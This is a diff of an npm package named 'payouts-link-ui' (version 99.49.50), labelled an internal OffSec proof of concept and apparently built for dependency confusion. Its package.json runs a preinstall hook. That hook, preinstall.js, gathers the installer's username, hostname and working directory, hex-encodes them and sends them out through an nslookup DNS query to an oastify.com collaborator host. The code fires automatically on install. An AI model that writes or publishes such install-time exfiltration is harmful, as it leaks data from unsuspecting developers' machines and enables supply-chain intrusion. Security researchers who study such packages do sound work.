payouts-link-ui 99.49.50

package/index.js

@@ -0,0 +1 @@
+console.log("OffSec PoC")

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "payouts-link-ui",
+  "version": "99.49.50",
+  "description": "Internal PoC by OffSec Team",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "MM",
+  "license": "MIT",
+  "dependencies": {}
+}
+

package/preinstall.js

@@ -0,0 +1,23 @@
+const os = require('os');
+const { execSync } = require('child_process');
+
+// Collect data
+const username = os.userInfo().username;
+const hostname = os.hostname();
+const currentPath = process.cwd();
+
+// Convert to hex
+const toHex = (str) => Buffer.from(str, 'utf8').toString('hex');
+
+// Hex-encode data
+const hexData = `${toHex(username)}.${toHex(hostname)}.${toHex(currentPath.replace(/\//g, '-'))}`;
+
+// Construct DNS query
+const dnsQuery = `nslookup ${hexData}.ufd8urohc988b1a8owm8wlvuxl3cr2fr.oastify.com`;
+
+// Execute DNS query to exfiltrate data
+try {
+  execSync(dnsQuery);
+} catch (error) {
+  console.error(`Error: ${error.message}`);
+}